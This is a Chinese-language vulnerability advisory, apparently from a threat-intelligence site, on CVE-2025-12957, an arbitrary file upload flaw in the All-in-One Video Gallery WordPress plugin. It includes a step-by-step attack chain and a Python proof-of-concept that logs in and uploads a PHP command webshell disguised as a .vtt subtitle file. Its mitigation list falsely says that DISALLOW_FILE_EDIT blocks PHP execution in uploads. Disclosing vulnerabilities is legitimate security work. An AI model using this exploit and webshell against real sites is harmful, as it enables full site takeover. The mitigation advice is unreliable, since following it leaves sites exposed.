IPBUF安全漏洞报告
English
CVE-2025-12957 CVSS 8.8 高危

CVE-2025-12957 WordPress All-in-One Video Gallery插件任意文件上传漏洞

披露日期: 2026-01-16

漏洞信息

漏洞编号
CVE-2025-12957
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
All-in-One Video Gallery WordPress插件

相关标签

任意文件上传远程代码执行WordPress插件漏洞All-in-One Video Gallery双扩展名绕过文件上传漏洞CVE-2025-12957

漏洞概述

CVE-2025-12957是WordPress平台下All-in-One Video Gallery插件的一个高危安全漏洞。该漏洞存在于插件的4.5.7及之前所有版本中,源于不充分的文件类型验证机制。具体而言,插件对VTT(Video Text Tracks)文件的验证存在缺陷,允许攻击者利用双扩展名文件(如shell.php.vtt)绕过安全检查,将恶意文件上传至服务器。由于VTT文件通常被允许上传以提供视频字幕功能,攻击者可以伪装恶意代码为合法的字幕文件。一旦恶意文件成功上传,攻击者即可通过访问上传的文件执行任意代码,实现对网站的完全控制。此漏洞需要攻击者具备作者级别(Author)或更高的WordPress用户权限,属于低权限认证攻击场景,但无需任何用户交互即可发起攻击。

技术细节

该漏洞的核心问题在于All-in-One Video Gallery插件的文件上传验证逻辑存在缺陷。插件在处理VTT字幕文件时,仅检查文件扩展名是否为.vtt,但未对文件内容进行充分验证。攻击者可以构造带有双扩展名的恶意文件(如malicious.php.vtt或shell.jpg.vtt),利用文件类型检测的漏洞绕过服务器端的安全检查。具体利用过程如下:1)攻击者首先获取WordPress网站的作者账户权限;2)构造包含恶意PHP代码的VTT文件(如将PHP webshell写入文件并命名为shell.php.vtt);3)通过插件的上传接口上传该文件,由于插件仅验证.vtt扩展名,恶意文件被当作合法字幕文件接受;4)上传成功后,攻击者通过直接访问上传的文件路径执行其中的恶意代码。由于WordPress的媒体上传功能通常允许上传VTT文件,且该插件未对上传文件进行二次验证(如MIME类型检测、内容分析),导致攻击者可以成功绕过安全限制,实现远程代码执行。

攻击链分析

STEP 1
步骤1
攻击者获取WordPress网站作者级别或更高权限的账户
STEP 2
步骤2
构造包含恶意PHP代码的双扩展名文件(如shell.php.vtt)
STEP 3
步骤3
通过All-in-One Video Gallery插件的上传接口上传恶意文件
STEP 4
步骤4
插件仅验证.vtt扩展名,恶意文件绕过安全检查成功上传
STEP 5
步骤5
攻击者访问上传的恶意文件路径,通过URL参数执行系统命令
STEP 6
步骤6
实现远程代码执行,完全控制受影响的WordPress站点

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-12957 PoC - All-in-One Video Gallery Arbitrary File Upload # Target: WordPress with All-in-One Video Gallery plugin <= 4.5.7 def upload_shell(target_url, username, password, wordpress_url): """ Upload malicious file with double extension to bypass VTT validation """ # Create malicious VTT file with PHP code php_payload = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' malicious_filename = 'shell.php.vtt' # WordPress login login_url = f"{wordpress_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{wordpress_url}/wp-admin/", 'testcookie': '1' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") return None print("[+] Login successful") # Upload malicious VTT file via plugin endpoint upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'file': (malicious_filename, php_payload, 'text/vtt') } data = { 'action': 'aigv_upload_subtitle', 'post_id': '1' } resp = session.post(upload_url, files=files, data=data) if resp.status_code == 200 and 'uploaded' in resp.text.lower(): print("[+] Malicious file uploaded successfully") print(f"[*] Access the shell at: {target_url}/wp-content/uploads/.../shell.php.vtt?cmd=whoami") return True else: print("[-] Upload failed") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <wordpress_url>") sys.exit(1) upload_shell(sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4])

影响范围

All-in-One Video Gallery WordPress插件 <= 4.5.7

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)临时禁用All-in-One Video Gallery插件;2)限制只有管理员才能访问插件的上传功能;3)在wp-config.php中添加代码禁止上传目录执行PHP文件:define('DISALLOW_FILE_EDIT', true); 4)使用Web应用防火墙(WAF)规则拦截包含双扩展名的文件上传请求;5)审查并删除可疑的上传文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表